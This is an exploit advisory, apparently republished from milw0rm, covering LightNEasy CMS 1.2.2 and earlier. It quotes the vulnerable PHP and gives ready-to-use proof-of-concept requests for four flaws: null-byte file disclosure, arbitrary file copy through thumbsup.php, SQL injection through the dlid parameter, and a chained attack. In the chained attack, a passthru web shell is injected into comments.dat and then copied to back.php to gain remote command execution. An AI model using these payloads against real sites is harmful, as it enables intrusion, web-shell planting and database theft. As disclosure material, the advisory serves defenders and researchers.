Lucene search
K

lightneasy sqlite / no database <= 1.2.2 - Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

LightNEasy SQLite / no database <= 1.2.2 - Multiple Vulnerabilities, Remote File Disclosure, Arbitrary file copy and rename, Getting a Remote Command Execution, Multiple Remote SQL Injection

Code

                                                # Author:	__GiReX__
# mySite:	girex.altervista.org
# Date:		14/04/08

# CMS:		LightNEasy SQLite / no database &#60;= 1.2.2
# Site:		lightneasy.org

# Advisory:	Multiple Remote Vulnerabilities

# Need:		magic_quotes_gpc = Off
		magic_quotes_gpc = On / Off for SQL Injections

######################################################################################

# Bug 1: 	Remote File Disclosure
# Affected:	SQLite / no database

# Get the config.php into HTML (like a comment)
# Note config.php not exists in SQLite version

# PoC:		[host]/[path]/LightNEasy.php?page=config.php%00

######################################################################################

# Bug 2:	Arbitrary file copy and rename / Thumsup v1.12
# Affected:	SQLite / no database

# This vuln is present in this extern script by Gerd Tentler that is included by default
# in LightNEasy

# Vuln Code:	LightNEasy/thumbsup.php

34.   if(isset($_REQUEST[&#39;image&#39;])) $image = $_REQUEST[&#39;image&#39;];
37.   if(isset($_REQUEST[&#39;cache_dir&#39;])) $cache_dir = $_REQUEST[&#39;cache_dir&#39;];

407.  if($image) {
        if($fp = @fopen($image, &#39;rb&#39;)) {    &#60;==
          $size = filesize($image);	    &#60;==  Unfortunally filesize does not accept remote files
          $data = fread($fp, $size);        &#60;==
         fclose($fp);
 
        $original = &#34;$cache_dir/img_&#34; . md5($image . $size);  &#60;==
       }
        else $error = &#39;Could not open&#39;;
414.  }

451.  if(!file_exists($original)) {
            if($fp = @fopen($original, &#39;wb&#39;)) {       &#60;==
              fwrite($fp, $data, strlen($data));      &#60;==
              fclose($fp);
455.     }

# Note config.php not exists in SQLite version

# PoC:		[host]/[path]/LightNEasy/thumbsup.php?image=../data/config.php&cache_dir=config.txt%00

# And then get file disclosure with:

# PoC:		[host]/[path]/LightNEasy/config.txt

######################################################################################

# Bug 3:	Getting a Remote Command Execution
# Affected:	SQLite / no database

# First of all inject PHP Code into comments.dat from $_POST[&#39;newsid&#39;] that is not sanizated

# Vuln code:	LightNEasy/runtime.php

32.    if($_POST[&#39;submit&#39;]==&#34;sendcomment&#34;) {
...
42.    if(!$fp=fopen(&#34;data/comments.dat&#34;,&#34;a&#34;)) die ($langmessage[142]);
43.	  fwrite($fp,$_POST[&#39;newsid&#39;].&#34;|&#34;.encode($_POST[&#39;commentname&#39;]).&#34;|&#34;.    &#60;==
44.       encode($_POST[&#39;commentemail&#39;]).&#34;|&#34;.time().&#34;|&#34;.encode(stripslashes($_POST[&#39;commentmessage&#39;])).&#34;||&#34;);


# PoC:	If admin has been created some news and page news exists (it can has a different name)
	
	POST [host]/[path]/LightNEasy.php?page=news
	Content-Type: application/x-www-form-urlencoded

	commentname=1&commentemail=1&commentmessage=1&secCode=[CAPTCHA CODE]
	&submit=sendcomment&newsid=&#60;?php passthru($_GET[&#39;cmd&#39;]); ?&#62;/*


# Then create a file back.php with the trick of Bug 2

# PoC:		[host]/[path]/LightNEasy/thumbsup.php?image=../data/comments.dat&cache_dir=../back.php%00

# Finally send remote commands to back.php

# PoC:		[host]/[path]/back.php?cmd=ls

######################################################################################

# Bug 4:	Multiple Remote SQL Injections
# Affected:	SQLite

# Works with magic_quotes_gpc = On / Off


# Vuln Code:	/LightNEasy/lightneasy.php

237. 	if(isset($_GET[&#39;dlid&#39;])) {
	   $result=dbquery(&#34;SELECT * FROM downloads WHERE reg=&#34;.$_GET[&#39;dlid&#39;]);


# PoC:		[host]/[path]/index.php?dlid=-1 OR 1

# You can find others more SQL Injections by yourself

######################################################################################

# milw0rm.com [2008-04-15]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation